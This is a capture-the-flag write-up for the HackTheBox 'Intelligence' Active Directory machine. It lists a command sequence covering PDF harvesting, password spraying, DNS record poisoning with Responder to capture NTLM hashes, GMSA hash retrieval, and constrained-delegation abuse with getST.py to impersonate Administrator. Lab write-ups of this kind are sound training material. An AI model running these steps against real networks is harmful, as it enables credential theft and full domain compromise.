Intelligence writeup & walkthrough

Intelligence is a medium HackTheBox Windows AD machine. Date-based PDF documents on the web server leak usernames and a password. DNS poisoning combined with Responder captures an NTLM hash for the service account. GMSA retrieval and constrained delegation abuse via getST allows impersonating the administrator.

HackTheBox - Intelligence

Access Path

no access => Tiffany.Molina => svc_int$ => Administrator

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Command Flow

These notes preserve the original command sequence while grouping it in a command block for cleaner rendering.

nmap -sC -sV <ip>

# ─── Enumeration ───────────────────────────────────────────────────────────────

# Directory busting reveals a /documents endpoint
ffuf => /doucments
port 80: download documents
port 80: website copywrite 2021
nuclei =>: nothing
noauth_etc: nothing

# ─── Document Harvesting ────────────────────────────────────────────────────────

# Documents follow a date-based naming pattern: YYYY-MM-DD-upload.pdf
# Use bulk_fetch_downloader to grab all PDFs from 2020–2021
# https://github.com/strikoder/OffensiveSecurity/blob/main/misc/bulk_fetch_downloader.py
uv run bulk_fetch_downloader.py --url "http://intelligence.htb/documents/%s-upload.pdf" --mode date --start 2020-01-01 --end 2021-12-31

# Extract PDF metadata/content for usernames and passwords
# Then spray found credentials across the domain
credspray -t $IP -u creators.txt -p $pass

# ─── Lateral Movement ──────────────────────────────────────────────────────────

# LDAP auth works with found creds - note the PKI enrollment server (ADCS)
auth_ldap #we see pki enrollment server (keep that in mind)

# Browse SMB shares for additional files
smbclient \\\\$IP\\IT -U $user%$pass

# ─── DNS Poisoning + NTLM Capture ──────────────────────────────────────────────

# Add a fake DNS A record pointing to our machine - triggers an NTLM auth request
# from the service account when a scheduled task resolves the hostname
python3 dnstool.py -u intelligence\\Tiffany.Molina -p $pass --action add --record web-strikoder --data OURIP --type A $domain -dc-ip $IP  -dns-ip $IP

# Capture the incoming NTLM hash with Responder
sudo responder -I tun0 -vA

# ─── AD Enumeration + GMSA ─────────────────────────────────────────────────────

# Map the domain with RustHound to find delegation paths
/opt/RustHound-CE/rusthound-ce -d $domain -u $user@$domain -p $pass -z

# Retrieve the GMSA password hash for the service account (svc_int$)
nxc ldap $IP -u $user -p $pass --gmsa

# ─── Constrained Delegation → Administrator ────────────────────────────────────

# Find which SPN the service account can delegate to
#we get the SPN from the DelegationRightsTo field
impacket-findDelegation $domain/svc_int$ -hashes :$hash -dc-ip $IP | grep -oP '[A-Z]+/\S+'

# Request a Kerberos service ticket impersonating Administrator
#we then get the delegation ticket
getST.py -spn 'WWW/DC.intelligence.htb' -impersonate administrator -dc-ip $IP $domain/$user -hashes :$hash